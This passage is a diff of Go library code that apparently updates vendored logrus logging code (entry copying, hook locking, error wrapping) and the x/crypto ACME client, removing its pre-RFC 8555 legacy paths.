// source of the official loggers.
|
||||
serialized, err := json.Marshal(entry.Data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("Failed to marshal fields to JSON, %v", err)
|
||||
return nil, fmt.Errorf("Failed to marshal fields to JSON, %w", err)
|
||||
}
|
||||
return append(serialized, '\n'), nil
|
||||
}
|
||||
|
||||
+42
-33
@@ -78,6 +78,14 @@ func NewEntry(logger *Logger) *Entry {
|
||||
}
|
||||
}
|
||||
|
||||
func (entry *Entry) Dup() *Entry {
|
||||
data := make(Fields, len(entry.Data))
|
||||
for k, v := range entry.Data {
|
||||
data[k] = v
|
||||
}
|
||||
return &Entry{Logger: entry.Logger, Data: data, Time: entry.Time, Context: entry.Context, err: entry.err}
|
||||
}
|
||||
|
||||
// Returns the bytes representation of this entry from the formatter.
|
||||
func (entry *Entry) Bytes() ([]byte, error) {
|
||||
return entry.Logger.Formatter.Format(entry)
|
||||
@@ -123,11 +131,9 @@ func (entry *Entry) WithFields(fields Fields) *Entry {
|
||||
for k, v := range fields {
|
||||
isErrField := false
|
||||
if t := reflect.TypeOf(v); t != nil {
|
||||
switch t.Kind() {
|
||||
case reflect.Func:
|
||||
switch {
|
||||
case t.Kind() == reflect.Func, t.Kind() == reflect.Ptr && t.Elem().Kind() == reflect.Func:
|
||||
isErrField = true
|
||||
case reflect.Ptr:
|
||||
isErrField = t.Elem().Kind() == reflect.Func
|
||||
}
|
||||
}
|
||||
if isErrField {
|
||||
@@ -212,68 +218,72 @@ func (entry Entry) HasCaller() (has bool) {
|
||||
entry.Caller != nil
|
||||
}
|
||||
|
||||
// This function is not declared with a pointer value because otherwise
|
||||
// race conditions will occur when using multiple goroutines
|
||||
func (entry Entry) log(level Level, msg string) {
|
||||
func (entry *Entry) log(level Level, msg string) {
|
||||
var buffer *bytes.Buffer
|
||||
|
||||
// Default to now, but allow users to override if they want.
|
||||
//
|
||||
// We don't have to worry about polluting future calls to Entry#log()
|
||||
// with this assignment because this function is declared with a
|
||||
// non-pointer receiver.
|
||||
if entry.Time.IsZero() {
|
||||
entry.Time = time.Now()
|
||||
newEntry := entry.Dup()
|
||||
|
||||
if newEntry.Time.IsZero() {
|
||||
newEntry.Time = time.Now()
|
||||
}
|
||||
|
||||
entry.Level = level
|
||||
entry.Message = msg
|
||||
entry.Logger.mu.Lock()
|
||||
if entry.Logger.ReportCaller {
|
||||
entry.Caller = getCaller()
|
||||
}
|
||||
entry.Logger.mu.Unlock()
|
||||
newEntry.Level = level
|
||||
newEntry.Message = msg
|
||||
|
||||
entry.fireHooks()
|
||||
newEntry.Logger.mu.Lock()
|
||||
reportCaller := newEntry.Logger.ReportCaller
|
||||
newEntry.Logger.mu.Unlock()
|
||||
|
||||
if reportCaller {
|
||||
newEntry.Caller = getCaller()
|
||||
}
|
||||
|
||||
newEntry.fireHooks()
|
||||
|
||||
buffer = getBuffer()
|
||||
defer func() {
|
||||
entry.Buffer = nil
|
||||
newEntry.Buffer = nil
|
||||
putBuffer(buffer)
|
||||
}()
|
||||
buffer.Reset()
|
||||
entry.Buffer = buffer
|
||||
newEntry.Buffer = buffer
|
||||
|
||||
entry.write()
|
||||
newEntry.write()
|
||||
|
||||
entry.Buffer = nil
|
||||
newEntry.Buffer = nil
|
||||
|
||||
// To avoid Entry#log() returning a value that only would make sense for
|
||||
// panic() to use in Entry#Panic(), we avoid the allocation by checking
|
||||
// directly here.
|
||||
if level <= PanicLevel {
|
||||
panic(&entry)
|
||||
panic(newEntry)
|
||||
}
|
||||
}
|
||||
|
||||
func (entry *Entry) fireHooks() {
|
||||
var tmpHooks LevelHooks
|
||||
entry.Logger.mu.Lock()
|
||||
defer entry.Logger.mu.Unlock()
|
||||
err := entry.Logger.Hooks.Fire(entry.Level, entry)
|
||||
tmpHooks = make(LevelHooks, len(entry.Logger.Hooks))
|
||||
for k, v := range entry.Logger.Hooks {
|
||||
tmpHooks[k] = v
|
||||
}
|
||||
entry.Logger.mu.Unlock()
|
||||
|
||||
err := tmpHooks.Fire(entry.Level, entry)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Failed to fire hook: %v\n", err)
|
||||
}
|
||||
}
|
||||
|
||||
func (entry *Entry) write() {
|
||||
entry.Logger.mu.Lock()
|
||||
defer entry.Logger.mu.Unlock()
|
||||
serialized, err := entry.Logger.Formatter.Format(entry)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Failed to obtain reader, %v\n", err)
|
||||
return
|
||||
}
|
||||
if _, err = entry.Logger.Out.Write(serialized); err != nil {
|
||||
entry.Logger.mu.Lock()
|
||||
defer entry.Logger.mu.Unlock()
|
||||
if _, err := entry.Logger.Out.Write(serialized); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Failed to write to log, %v\n", err)
|
||||
}
|
||||
}
|
||||
@@ -319,7 +329,6 @@ func (entry *Entry) Fatal(args ...interface{}) {
|
||||
|
||||
func (entry *Entry) Panic(args ...interface{}) {
|
||||
entry.Log(PanicLevel, args...)
|
||||
panic(fmt.Sprint(args...))
|
||||
}
|
||||
|
||||
// Entry Printf family functions
|
||||
|
||||
+4
-1
@@ -23,6 +23,9 @@ func (f FieldMap) resolve(key fieldKey) string {
|
||||
// JSONFormatter formats logs into parsable json
|
||||
type JSONFormatter struct {
|
||||
// TimestampFormat sets the format used for marshaling timestamps.
|
||||
// The format to use is the same than for time.Format or time.Parse from the standard
|
||||
// library.
|
||||
// The standard Library already provides a set of predefined format.
|
||||
TimestampFormat string
|
||||
|
||||
// DisableTimestamp allows disabling automatic timestamps in output
|
||||
@@ -118,7 +121,7 @@ func (f *JSONFormatter) Format(entry *Entry) ([]byte, error) {
|
||||
encoder.SetIndent("", " ")
|
||||
}
|
||||
if err := encoder.Encode(data); err != nil {
|
||||
return nil, fmt.Errorf("failed to marshal fields to JSON, %v", err)
|
||||
return nil, fmt.Errorf("failed to marshal fields to JSON, %w", err)
|
||||
}
|
||||
|
||||
return b.Bytes(), nil
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ import (
|
||||
// LogFunction For big messages, it can be more efficient to pass a function
|
||||
// and only call it if the log level is actually enables rather than
|
||||
// generating the log message and then checking if the level is enabled
|
||||
type LogFunction func()[]interface{}
|
||||
type LogFunction func() []interface{}
|
||||
|
||||
type Logger struct {
|
||||
// The logs are `io.Copy`'d to this in a mutex. It's common to set this to a
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
// +build linux aix
|
||||
// +build linux aix zos
|
||||
// +build !js
|
||||
|
||||
package logrus
|
||||
|
||||
+6
-1
@@ -53,7 +53,10 @@ type TextFormatter struct {
|
||||
// the time passed since beginning of execution.
|
||||
FullTimestamp bool
|
||||
|
||||
// TimestampFormat to use for display when a full timestamp is printed
|
||||
// TimestampFormat to use for display when a full timestamp is printed.
|
||||
// The format to use is the same than for time.Format or time.Parse from the standard
|
||||
// library.
|
||||
// The standard Library already provides a set of predefined format.
|
||||
TimestampFormat string
|
||||
|
||||
// The fields are sorted by default for a consistent output. For applications
|
||||
@@ -235,6 +238,8 @@ func (f *TextFormatter) printColored(b *bytes.Buffer, entry *Entry, keys []strin
|
||||
levelColor = yellow
|
||||
case ErrorLevel, FatalLevel, PanicLevel:
|
||||
levelColor = red
|
||||
case InfoLevel:
|
||||
levelColor = blue
|
||||
default:
|
||||
levelColor = blue
|
||||
}
|
||||
|
||||
+72
-369
@@ -3,17 +3,20 @@
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package acme provides an implementation of the
|
||||
// Automatic Certificate Management Environment (ACME) spec.
|
||||
// The intial implementation was based on ACME draft-02 and
|
||||
// is now being extended to comply with RFC 8555.
|
||||
// See https://tools.ietf.org/html/draft-ietf-acme-acme-02
|
||||
// and https://tools.ietf.org/html/rfc8555 for details.
|
||||
// Automatic Certificate Management Environment (ACME) spec,
|
||||
// most famously used by Let's Encrypt.
|
||||
//
|
||||
// The initial implementation of this package was based on an early version
|
||||
// of the spec. The current implementation supports only the modern
|
||||
// RFC 8555 but some of the old API surface remains for compatibility.
|
||||
// While code using the old API will still compile, it will return an error.
|
||||
// Note the deprecation comments to update your code.
|
||||
//
|
||||
// See https://tools.ietf.org/html/rfc8555 for the spec.
|
||||
//
|
||||
// Most common scenarios will want to use autocert subdirectory instead,
|
||||
// which provides automatic access to certificates from Let's Encrypt
|
||||
// and any other ACME-based CA.
|
||||
//
|
||||
// This package is a work in progress and makes no API stability promises.
|
||||
package acme
|
||||
|
||||
import (
|
||||
@@ -33,8 +36,6 @@ import (
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"math/big"
|
||||
"net/http"
|
||||
"strings"
|
||||
@@ -72,6 +73,7 @@ const (
|
||||
)
|
||||
|
||||
// Client is an ACME client.
|
||||
//
|
||||
// The only required field is Key. An example of creating a client with a new key
|
||||
// is as follows:
|
||||
//
|
||||
@@ -125,7 +127,9 @@ type Client struct {
|
||||
|
||||
cacheMu sync.Mutex
|
||||
dir *Directory // cached result of Client's Discover method
|
||||
kid keyID // cached Account.URI obtained from registerRFC or getAccountRFC
|
||||
// KID is the key identifier provided by the CA. If not provided it will be
|
||||
// retrieved from the CA by making a call to the registration endpoint.
|
||||
KID KeyID
|
||||
|
||||
noncesMu sync.Mutex
|
||||
nonces map[string]struct{} // nonces collected from previous responses
|
||||
@@ -140,23 +144,22 @@ type Client struct {
|
||||
//
|
||||
// When in pre-RFC mode or when c.getRegRFC responds with an error, accountKID
|
||||
// returns noKeyID.
|
||||
func (c *Client) accountKID(ctx context.Context) keyID {
|
||||
func (c *Client) accountKID(ctx context.Context) KeyID {
|
||||
c.cacheMu.Lock()
|
||||
defer c.cacheMu.Unlock()
|
||||
if !c.dir.rfcCompliant() {
|
||||
return noKeyID
|
||||
}
|
||||
if c.kid != noKeyID {
|
||||
return c.kid
|
||||
if c.KID != noKeyID {
|
||||
return c.KID
|
||||
}
|
||||
a, err := c.getRegRFC(ctx)
|
||||
if err != nil {
|
||||
return noKeyID
|
||||
}
|
||||
c.kid = keyID(a.URI)
|
||||
return c.kid
|
||||
c.KID = KeyID(a.URI)
|
||||
return c.KID
|
||||
}
|
||||
|
||||
var errPreRFC = errors.New("acme: server does not support the RFC 8555 version of ACME")
|
||||
|
||||
// Discover performs ACME server discovery using c.DirectoryURL.
|
||||
//
|
||||
// It caches successful result. So, subsequent calls will not result in
|
||||
@@ -177,53 +180,36 @@ func (c *Client) Discover(ctx context.Context) (Directory, error) {
|
||||
c.addNonce(res.Header)
|
||||
|
||||
var v struct {
|
||||
Reg string `json:"new-reg"`
|
||||
RegRFC string `json:"newAccount"`
|
||||
Authz string `json:"new-authz"`
|
||||
AuthzRFC string `json:"newAuthz"`
|
||||
OrderRFC string `json:"newOrder"`
|
||||
Cert string `json:"new-cert"`
|
||||
Revoke string `json:"revoke-cert"`
|
||||
RevokeRFC string `json:"revokeCert"`
|
||||
NonceRFC string `json:"newNonce"`
|
||||
KeyChangeRFC string `json:"keyChange"`
|
||||
Meta struct {
|
||||
Terms string `json:"terms-of-service"`
|
||||
TermsRFC string `json:"termsOfService"`
|
||||
WebsiteRFC string `json:"website"`
|
||||
CAA []string `json:"caa-identities"`
|
||||
CAARFC []string `json:"caaIdentities"`
|
||||
ExternalAcctRFC bool `json:"externalAccountRequired"`
|
||||
Reg string `json:"newAccount"`
|
||||
Authz string `json:"newAuthz"`
|
||||
Order string `json:"newOrder"`
|
||||
Revoke string `json:"revokeCert"`
|
||||
Nonce string `json:"newNonce"`
|
||||
KeyChange string `json:"keyChange"`
|
||||
Meta struct {
|
||||
Terms string `json:"termsOfService"`
|
||||
Website string `json:"website"`
|
||||
CAA []string `json:"caaIdentities"`
|
||||
ExternalAcct bool `json:"externalAccountRequired"`
|
||||
}
|
||||
}
|
||||
if err := json.NewDecoder(res.Body).Decode(&v); err != nil {
|
||||
return Directory{}, err
|
||||
}
|
||||
if v.OrderRFC == "" {
|
||||
// Non-RFC compliant ACME CA.
|
||||
c.dir = &Directory{
|
||||
RegURL: v.Reg,
|
||||
AuthzURL: v.Authz,
|
||||
CertURL: v.Cert,
|
||||
RevokeURL: v.Revoke,
|
||||
Terms: v.Meta.Terms,
|
||||
Website: v.Meta.WebsiteRFC,
|
||||
CAA: v.Meta.CAA,
|
||||
}
|
||||
return *c.dir, nil
|
||||
if v.Order == "" {
|
||||
return Directory{}, errPreRFC
|
||||
}
|
||||
// RFC compliant ACME CA.
|
||||
c.dir = &Directory{
|
||||
RegURL: v.RegRFC,
|
||||
AuthzURL: v.AuthzRFC,
|
||||
OrderURL: v.OrderRFC,
|
||||
RevokeURL: v.RevokeRFC,
|
||||
NonceURL: v.NonceRFC,
|
||||
KeyChangeURL: v.KeyChangeRFC,
|
||||
Terms: v.Meta.TermsRFC,
|
||||
Website: v.Meta.WebsiteRFC,
|
||||
CAA: v.Meta.CAARFC,
|
||||
ExternalAccountRequired: v.Meta.ExternalAcctRFC,
|
||||
RegURL: v.Reg,
|
||||
AuthzURL: v.Authz,
|
||||
OrderURL: v.Order,
|
||||
RevokeURL: v.Revoke,
|
||||
NonceURL: v.Nonce,
|
||||
KeyChangeURL: v.KeyChange,
|
||||
Terms: v.Meta.Terms,
|
||||
Website: v.Meta.Website,
|
||||
CAA: v.Meta.CAA,
|
||||
ExternalAccountRequired: v.Meta.ExternalAcct,
|
||||
}
|
||||
return *c.dir, nil
|
||||
}
|
||||
@@ -235,55 +221,11 @@ func (c *Client) directoryURL() string {
|
||||
return LetsEncryptURL
|
||||
}
|
||||
|
||||
// CreateCert requests a new certificate using the Certificate Signing Request csr encoded in DER format.
|
||||
// It is incompatible with RFC 8555. Callers should use CreateOrderCert when interfacing
|
||||
// with an RFC-compliant CA.
|
||||
// CreateCert was part of the old version of ACME. It is incompatible with RFC 8555.
|
||||
//
|
||||
// The exp argument indicates the desired certificate validity duration. CA may issue a certificate
|
||||
// with a different duration.
|
||||
// If the bundle argument is true, the returned value will also contain the CA (issuer) certificate chain.
|
||||
//
|
||||
// In the case where CA server does not provide the issued certificate in the response,
|
||||
// CreateCert will poll certURL using c.FetchCert, which will result in additional round-trips.
|
||||
// In such a scenario, the caller can cancel the polling with ctx.
|
||||
//
|
||||
// CreateCert returns an error if the CA's response or chain was unreasonably large.
|
||||
// Callers are encouraged to parse the returned value to ensure the certificate is valid and has the expected features.
|
||||
// Deprecated: this was for the pre-RFC 8555 version of ACME. Callers should use CreateOrderCert.
|
||||
func (c *Client) CreateCert(ctx context.Context, csr []byte, exp time.Duration, bundle bool) (der [][]byte, certURL string, err error) {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
|
||||
req := struct {
|
||||
Resource string `json:"resource"`
|
||||
CSR string `json:"csr"`
|
||||
NotBefore string `json:"notBefore,omitempty"`
|
||||
NotAfter string `json:"notAfter,omitempty"`
|
||||
}{
|
||||
Resource: "new-cert",
|
||||
CSR: base64.RawURLEncoding.EncodeToString(csr),
|
||||
}
|
||||
now := timeNow()
|
||||
req.NotBefore = now.Format(time.RFC3339)
|
||||
if exp > 0 {
|
||||
req.NotAfter = now.Add(exp).Format(time.RFC3339)
|
||||
}
|
||||
|
||||
res, err := c.post(ctx, nil, c.dir.CertURL, req, wantStatus(http.StatusCreated))
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
defer res.Body.Close()
|
||||
|
||||
curl := res.Header.Get("Location") // cert permanent URL
|
||||
if res.ContentLength == 0 {
|
||||
// no cert in the body; poll until we get it
|
||||
cert, err := c.FetchCert(ctx, curl, bundle)
|
||||
return cert, curl, err
|
||||
}
|
||||
// slurp issued cert and CA chain, if requested
|
||||
cert, err := c.responseCert(ctx, res, bundle)
|
||||
return cert, curl, err
|
||||
return nil, "", errPreRFC
|
||||
}
|
||||
|
||||
// FetchCert retrieves already issued certificate from the given url, in DER format.
|
||||
@@ -297,20 +239,10 @@ func (c *Client) CreateCert(ctx context.Context, csr []byte, exp time.Duration,
|
||||
// Callers are encouraged to parse the returned value to ensure the certificate is valid
|
||||
// and has expected features.
|
||||
func (c *Client) FetchCert(ctx context.Context, url string, bundle bool) ([][]byte, error) {
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if dir.rfcCompliant() {
|
||||
return c.fetchCertRFC(ctx, url, bundle)
|
||||
}
|
||||
|
||||
// Legacy non-authenticated GET request.
|
||||
res, err := c.get(ctx, url, wantStatus(http.StatusOK))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return c.responseCert(ctx, res, bundle)
|
||||
return c.fetchCertRFC(ctx, url, bundle)
|
||||
}
|
||||
|
||||
// RevokeCert revokes a previously issued certificate cert, provided in DER format.
|
||||
@@ -320,30 +252,10 @@ func (c *Client) FetchCert(ctx context.Context, url string, bundle bool) ([][]by
|
||||
// For instance, the key pair of the certificate may be authorized.
|
||||
// If the key is nil, c.Key is used instead.
|
||||
func (c *Client) RevokeCert(ctx context.Context, key crypto.Signer, cert []byte, reason CRLReasonCode) error {
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return err
|
||||
}
|
||||
if dir.rfcCompliant() {
|
||||
return c.revokeCertRFC(ctx, key, cert, reason)
|
||||
}
|
||||
|
||||
// Legacy CA.
|
||||
body := &struct {
|
||||
Resource string `json:"resource"`
|
||||
Cert string `json:"certificate"`
|
||||
Reason int `json:"reason"`
|
||||
}{
|
||||
Resource: "revoke-cert",
|
||||
Cert: base64.RawURLEncoding.EncodeToString(cert),
|
||||
Reason: int(reason),
|
||||
}
|
||||
res, err := c.post(ctx, key, dir.RevokeURL, body, wantStatus(http.StatusOK))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer res.Body.Close()
|
||||
return nil
|
||||
return c.revokeCertRFC(ctx, key, cert, reason)
|
||||
}
|
||||
|
||||
// AcceptTOS always returns true to indicate the acceptance of a CA's Terms of Service
|
||||
@@ -366,75 +278,33 @@ func (c *Client) Register(ctx context.Context, acct *Account, prompt func(tosURL
|
||||
if c.Key == nil {
|
||||
return nil, errors.New("acme: client.Key must be set to Register")
|
||||
}
|
||||
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if dir.rfcCompliant() {
|
||||
return c.registerRFC(ctx, acct, prompt)
|
||||
}
|
||||
|
||||
// Legacy ACME draft registration flow.
|
||||
a, err := c.doReg(ctx, dir.RegURL, "new-reg", acct)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var accept bool
|
||||
if a.CurrentTerms != "" && a.CurrentTerms != a.AgreedTerms {
|
||||
accept = prompt(a.CurrentTerms)
|
||||
}
|
||||
if accept {
|
||||
a.AgreedTerms = a.CurrentTerms
|
||||
a, err = c.UpdateReg(ctx, a)
|
||||
}
|
||||
return a, err
|
||||
return c.registerRFC(ctx, acct, prompt)
|
||||
}
|
||||
|
||||
// GetReg retrieves an existing account associated with c.Key.
|
||||
//
|
||||
// The url argument is an Account URI used with pre-RFC 8555 CAs.
|
||||
// It is ignored when interfacing with an RFC-compliant CA.
|
||||
// The url argument is a legacy artifact of the pre-RFC 8555 API
|
||||
// and is ignored.
|
||||
func (c *Client) GetReg(ctx context.Context, url string) (*Account, error) {
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if dir.rfcCompliant() {
|
||||
return c.getRegRFC(ctx)
|
||||
}
|
||||
|
||||
// Legacy CA.
|
||||
a, err := c.doReg(ctx, url, "reg", nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
a.URI = url
|
||||
return a, nil
|
||||
return c.getRegRFC(ctx)
|
||||
}
|
||||
|
||||
// UpdateReg updates an existing registration.
|
||||
// It returns an updated account copy. The provided account is not modified.
|
||||
//
|
||||
// When interfacing with RFC-compliant CAs, a.URI is ignored and the account URL
|
||||
// associated with c.Key is used instead.
|
||||
// The account's URI is ignored and the account URL associated with
|
||||
// c.Key is used instead.
|
||||
func (c *Client) UpdateReg(ctx context.Context, acct *Account) (*Account, error) {
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if dir.rfcCompliant() {
|
||||
return c.updateRegRFC(ctx, acct)
|
||||
}
|
||||
|
||||
// Legacy CA.
|
||||
uri := acct.URI
|
||||
a, err := c.doReg(ctx, uri, "reg", acct)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
a.URI = uri
|
||||
return a, nil
|
||||
return c.updateRegRFC(ctx, acct)
|
||||
}
|
||||
|
||||
// Authorize performs the initial step in the pre-authorization flow,
|
||||
@@ -503,17 +373,11 @@ func (c *Client) authorize(ctx context.Context, typ, val string) (*Authorization
|
||||
// If a caller needs to poll an authorization until its status is final,
|
||||
// see the WaitAuthorization method.
|
||||
func (c *Client) GetAuthorization(ctx context.Context, url string) (*Authorization, error) {
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var res *http.Response
|
||||
if dir.rfcCompliant() {
|
||||
res, err = c.postAsGet(ctx, url, wantStatus(http.StatusOK))
|
||||
} else {
|
||||
res, err = c.get(ctx, url, wantStatus(http.StatusOK, http.StatusAccepted))
|
||||
}
|
||||
res, err := c.postAsGet(ctx, url, wantStatus(http.StatusOK))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -535,7 +399,6 @@ func (c *Client) GetAuthorization(ctx context.Context, url string) (*Authorizati
|
||||
//
|
||||
// It does not revoke existing certificates.
|
||||
func (c *Client) RevokeAuthorization(ctx context.Context, url string) error {
|
||||
// Required for c.accountKID() when in RFC mode.
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -565,18 +428,11 @@ func (c *Client) RevokeAuthorization(ctx context.Context, url string) error {
|
||||
// In all other cases WaitAuthorization returns an error.
|
||||
// If the Status is StatusInvalid, the returned error is of type *AuthorizationError.
|
||||
func (c *Client) WaitAuthorization(ctx context.Context, url string) (*Authorization, error) {
|
||||
// Required for c.accountKID() when in RFC mode.
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
getfn := c.postAsGet
|
||||
if !dir.rfcCompliant() {
|
||||
getfn = c.get
|
||||
}
|
||||
|
||||
for {
|
||||
res, err := getfn(ctx, url, wantStatus(http.StatusOK, http.StatusAccepted))
|
||||
res, err := c.postAsGet(ctx, url, wantStatus(http.StatusOK, http.StatusAccepted))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -619,17 +475,11 @@ func (c *Client) WaitAuthorization(ctx context.Context, url string) (*Authorizat
|
||||
//
|
||||
// A client typically polls a challenge status using this method.
|
||||
func (c *Client) GetChallenge(ctx context.Context, url string) (*Challenge, error) {
|
||||
// Required for c.accountKID() when in RFC mode.
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
getfn := c.postAsGet
|
||||
if !dir.rfcCompliant() {
|
||||
getfn = c.get
|
||||
}
|
||||
res, err := getfn(ctx, url, wantStatus(http.StatusOK, http.StatusAccepted))
|
||||
res, err := c.postAsGet(ctx, url, wantStatus(http.StatusOK, http.StatusAccepted))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -647,29 +497,11 @@ func (c *Client) GetChallenge(ctx context.Context, url string) (*Challenge, erro
|
||||
//
|
||||
// The server will then perform the validation asynchronously.
|
||||
func (c *Client) Accept(ctx context.Context, chal *Challenge) (*Challenge, error) {
|
||||
// Required for c.accountKID() when in RFC mode.
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var req interface{} = json.RawMessage("{}") // RFC-compliant CA
|
||||
if !dir.rfcCompliant() {
|
||||
auth, err := keyAuth(c.Key.Public(), chal.Token)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req = struct {
|
||||
Resource string `json:"resource"`
|
||||
Type string `json:"type"`
|
||||
Auth string `json:"keyAuthorization"`
|
||||
}{
|
||||
Resource: "challenge",
|
||||
Type: chal.Type,
|
||||
Auth: auth,
|
||||
}
|
||||
}
|
||||
res, err := c.post(ctx, nil, chal.URI, req, wantStatus(
|
||||
res, err := c.post(ctx, nil, chal.URI, json.RawMessage("{}"), wantStatus(
|
||||
http.StatusOK, // according to the spec
|
||||
http.StatusAccepted, // Let's Encrypt: see https://goo.gl/WsJ7VT (acme-divergences.md)
|
||||
))
|
||||
@@ -720,7 +552,7 @@ func (c *Client) HTTP01ChallengePath(token string) string {
|
||||
|
||||
// TLSSNI01ChallengeCert creates a certificate for TLS-SNI-01 challenge response.
|
||||
//
|
||||
// Deprecated: This challenge type is unused in both draft-02 and RFC versions of ACME spec.
|
||||
// Deprecated: This challenge type is unused in both draft-02 and RFC versions of the ACME spec.
|
||||
func (c *Client) TLSSNI01ChallengeCert(token string, opt ...CertOption) (cert tls.Certificate, name string, err error) {
|
||||
ka, err := keyAuth(c.Key.Public(), token)
|
||||
if err != nil {
|
||||
@@ -738,7 +570,7 @@ func (c *Client) TLSSNI01ChallengeCert(token string, opt ...CertOption) (cert tl
|
||||
|
||||
// TLSSNI02ChallengeCert creates a certificate for TLS-SNI-02 challenge response.
|
||||
//
|
||||
// Deprecated: This challenge type is unused in both draft-02 and RFC versions of ACME spec.
|
||||
// Deprecated: This challenge type is unused in both draft-02 and RFC versions of the ACME spec.
|
||||
func (c *Client) TLSSNI02ChallengeCert(token string, opt ...CertOption) (cert tls.Certificate, name string, err error) {
|
||||
b := sha256.Sum256([]byte(token))
|
||||
h := hex.EncodeToString(b[:])
|
||||
@@ -805,63 +637,6 @@ func (c *Client) TLSALPN01ChallengeCert(token, domain string, opt ...CertOption)
|
||||
return tlsChallengeCert([]string{domain}, newOpt)
|
||||
}
|
||||
|
||||
// doReg sends all types of registration requests the old way (pre-RFC world).
|
||||
// The type of request is identified by typ argument, which is a "resource"
|
||||
// in the ACME spec terms.
|
||||
//
|
||||
// A non-nil acct argument indicates whether the intention is to mutate data
|
||||
// of the Account. Only Contact and Agreement of its fields are used
|
||||
// in such cases.
|
||||
func (c *Client) doReg(ctx context.Context, url string, typ string, acct *Account) (*Account, error) {
|
||||
req := struct {
|
||||
Resource string `json:"resource"`
|
||||
Contact []string `json:"contact,omitempty"`
|
||||
Agreement string `json:"agreement,omitempty"`
|
||||
}{
|
||||
Resource: typ,
|
||||
}
|
||||
if acct != nil {
|
||||
req.Contact = acct.Contact
|
||||
req.Agreement = acct.AgreedTerms
|
||||
}
|
||||
res, err := c.post(ctx, nil, url, req, wantStatus(
|
||||
http.StatusOK, // updates and deletes
|
||||
http.StatusCreated, // new account creation
|
||||
http.StatusAccepted, // Let's Encrypt divergent implementation
|
||||
))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer res.Body.Close()
|
||||
|
||||
var v struct {
|
||||
Contact []string
|
||||
Agreement string
|
||||
Authorizations string
|
||||
Certificates string
|
||||
}
|
||||
if err := json.NewDecoder(res.Body).Decode(&v); err != nil {
|
||||
return nil, fmt.Errorf("acme: invalid response: %v", err)
|
||||
}
|
||||
var tos string
|
||||
if v := linkHeader(res.Header, "terms-of-service"); len(v) > 0 {
|
||||
tos = v[0]
|
||||
}
|
||||
var authz string
|
||||
if v := linkHeader(res.Header, "next"); len(v) > 0 {
|
||||
authz = v[0]
|
||||
}
|
||||
return &Account{
|
||||
URI: res.Header.Get("Location"),
|
||||
Contact: v.Contact,
|
||||
AgreedTerms: v.Agreement,
|
||||
CurrentTerms: tos,
|
||||
Authz: authz,
|
||||
Authorizations: v.Authorizations,
|
||||
Certificates: v.Certificates,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// popNonce returns a nonce value previously stored with c.addNonce
|
||||
// or fetches a fresh one from c.dir.NonceURL.
|
||||
// If NonceURL is empty, it first tries c.directoryURL() and, failing that,
|
||||
@@ -936,78 +711,6 @@ func nonceFromHeader(h http.Header) string {
|
||||
return h.Get("Replay-Nonce")
|
||||
}
|
||||
|
||||
func (c *Client) responseCert(ctx context.Context, res *http.Response, bundle bool) ([][]byte, error) {
|
||||
b, err := ioutil.ReadAll(io.LimitReader(res.Body, maxCertSize+1))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("acme: response stream: %v", err)
|
||||
}
|
||||
if len(b) > maxCertSize {
|
||||
return nil, errors.New("acme: certificate is too big")
|
||||
}
|
||||
cert := [][]byte{b}
|
||||
if !bundle {
|
||||
return cert, nil
|
||||
}
|
||||
|
||||
// Append CA chain cert(s).
|
||||
// At least one is required according to the spec:
|
||||
// https://tools.ietf.org/html/draft-ietf-acme-acme-03#section-6.3.1
|
||||
up := linkHeader(res.Header, "up")
|
||||
if len(up) == 0 {
|
||||
return nil, errors.New("acme: rel=up link not found")
|
||||
}
|
||||
if len(up) > maxChainLen {
|
||||
return nil, errors.New("acme: rel=up link is too large")
|
||||
}
|
||||
for _, url := range up {
|
||||
